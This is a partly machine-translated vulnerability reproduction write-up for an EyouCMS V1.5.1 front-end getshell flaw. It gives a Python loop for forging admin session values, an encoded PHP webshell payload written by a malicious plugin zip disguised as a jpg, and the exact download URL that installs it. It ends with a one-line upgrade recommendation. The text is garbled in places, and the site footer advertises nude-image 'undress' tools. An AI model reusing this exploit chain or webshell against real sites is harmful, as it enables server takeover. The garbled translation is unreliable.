0x00 脆弱性の紹介
Zanzan Network Technology EyouCMS (EyouCMS) は、中国 Zanzan Network Technology Company System ( CMS)。
Eyoucms v1.5.1 およびそれ以前のバージョンには、任意のユーザー バックグラウンド ログインとファイル インクルードの脆弱性があります。この脆弱性により、攻撃者は API を呼び出して管理者のセッションをフォアグラウンドに設定し、バックグラウンドでリモート プラグイン ダウンロード ファイルをダウンロードすることができます。 getshell が含まれています。
#0x01 影響を受けるバージョン
EyouCMS
0x02 環境セットアップ
ダウンロード公式 Web サイト ダウンロード バージョン V1.5.1
ダウンロード リンク: https://qiniu.eyoucms.com/EyouCMS-V1.5.1-UTF8-SP3_142.zip
phpstudy 統合環境による簡単な導入
##フロントデスクで application/api/controller に管理者セッションを設定します/Ajax.php :215
##get_token
関数はフロント デスクが自由に呼び出すことができ、#仮パラメータの
##$name
このセッション設定操作を通じて、バックグラウンド管理者のセッションの構築を試みることができます。次に、バックグラウンド管理者のログイン ロジックを整理します。 application/admin/controller/Base.php:54
if (session('?admin_id') && getTime() - intval($admin_login_expire) <br><img src="/static/imghwm/default1.png" data-src="https://img.php.cn/upload/article/000/000/164/168458488287383.jpg?x-oss-process=image/resize,p_40" class="lazy" alt="如何进行EyouCMS V1.5.1 前台getshell漏洞复现">admin_login_expire<p> # の 2 つのセッションが関係しています。 ## (このセッションは減算検証を実行し、特定の条件を満たす必要があります) </p><p><code>admin_id</code></p><p> (このセッションは存在するだけでよく、その値は)</p>これら 2 つのセッションを設定した後も、if 条件の判定に <p><code></code>check_priv</p><p><br> 関数があることがわかります。 </p><p><code><pre class="brush:php;toolbar:false">if (0 >= intval(session('admin_info.role_id')))admin_info.role_id
(0 以下であれば十分です)
. 次に、ホストが eyoucms.com である必要がある URL 解析を実行します。 つまり、プログラムは公式 Web サイトからのプラグインのダウンロードとインストールに制限されていますが、この検証は単純すぎるためバイパスできる可能性があります。
後から行うプラグイン標準の判定は機能しなくなります。
0x04 脆弱性の悪用
フロント デスクで管理者セッションを設定する
まず、ログインに成功した後の管理者セッションと、ログインに成功した一般ユーザー セッションを削除します。ログインしていません 比較用管理者:
一般ユーザー:get_token 関数を呼び出して、admin_login_expire という名前のセッションを設定します
通常ユーザーのセッションが正常にセットアップされていることを確認してください。
しかし、この md5 文字列は明らかに脆弱性分析の要件を満たしていないため、適切な md5 値が見つかるまでセッションはスクリプトによって常に更新されます
while 1 : admin_login_expire = api_psot("admin_login_expire") num_10 = admin_login_expire[2:12] if is_number(num_10): print("admin_login_expire=",num_10) break while 1 : role_id = api_psot("admin_info.role_id") num_1 = role_id[2:3] if num_1 in ["a","b","c","d","e","f"]: print("role_id=",num_1) break admin_id = api_psot("admin_id") print("admin_id=",admin_id[2:-1])
実行結果:
session:
再经过application/admin/controller/Base.php:58和:106的intval()的转换:
成功使用该PHPSESSID进入后台:
后台远程插件下载文件包含getshell
然后开始制作恶意压缩包,文件目录结构如下:
weappp\weapp\test\config.php
config.php
文件内容为写入webshell
<?php file_put_contents("./uploads/allimg/news_2021.php",base64_decode("PD9waHAgcGhwaW5mbygpO0BldmFsKCRfUE9TVFttb3Z4XSk7Pz4=")); ?>
压缩成weappp.zip,修改后缀为jpg
到eyoucms.com官网寻找图片上传点
比如这个提问模块的问题描述:
https://www.eyoucms.com/ask/
获取到上传的图片地址:
https://www.eyoucms.com/uploads/allimg/210420/1618908445631562.jpg
直接在浏览器中请求下载该插件:
http://192.168.58.180/login.php?m=admin&c=weapp&a=downloadInstall&url=https://www.eyoucms.com/uploads/allimg/210420/1618908445631562.jpg
此时webshell已成功写入:
访问webshell:
0x05 修复建议
升级EyouCMS至V1.5.2或以后版本。
以上がEyouCMS V1.5.1 フロントエンド getshell 脆弱性を再現する方法の詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。

ホットAIツール

Undresser.AI Undress
リアルなヌード写真を作成する AI 搭載アプリ

AI Clothes Remover
写真から衣服を削除するオンライン AI ツール。

Undress AI Tool
脱衣画像を無料で

Clothoff.io
AI衣類リムーバー

AI Hentai Generator
AIヘンタイを無料で生成します。

人気の記事

ホットツール

Dreamweaver Mac版
ビジュアル Web 開発ツール

PhpStorm Mac バージョン
最新(2018.2.1)のプロフェッショナル向けPHP統合開発ツール

SublimeText3 英語版
推奨: Win バージョン、コードプロンプトをサポート!

DVWA
Damn Vulnerable Web App (DVWA) は、非常に脆弱な PHP/MySQL Web アプリケーションです。その主な目的は、セキュリティ専門家が法的環境でスキルとツールをテストするのに役立ち、Web 開発者が Web アプリケーションを保護するプロセスをより深く理解できるようにし、教師/生徒が教室環境で Web アプリケーションを教え/学習できるようにすることです。安全。 DVWA の目標は、シンプルでわかりやすいインターフェイスを通じて、さまざまな難易度で最も一般的な Web 脆弱性のいくつかを実践することです。このソフトウェアは、

mPDF
mPDF は、UTF-8 でエンコードされた HTML から PDF ファイルを生成できる PHP ライブラリです。オリジナルの作者である Ian Back は、Web サイトから「オンザフライ」で PDF ファイルを出力し、さまざまな言語を処理するために mPDF を作成しました。 HTML2FPDF などのオリジナルのスクリプトよりも遅く、Unicode フォントを使用すると生成されるファイルが大きくなりますが、CSS スタイルなどをサポートし、多くの機能強化が施されています。 RTL (アラビア語とヘブライ語) や CJK (中国語、日本語、韓国語) を含むほぼすべての言語をサポートします。ネストされたブロックレベル要素 (P、DIV など) をサポートします。
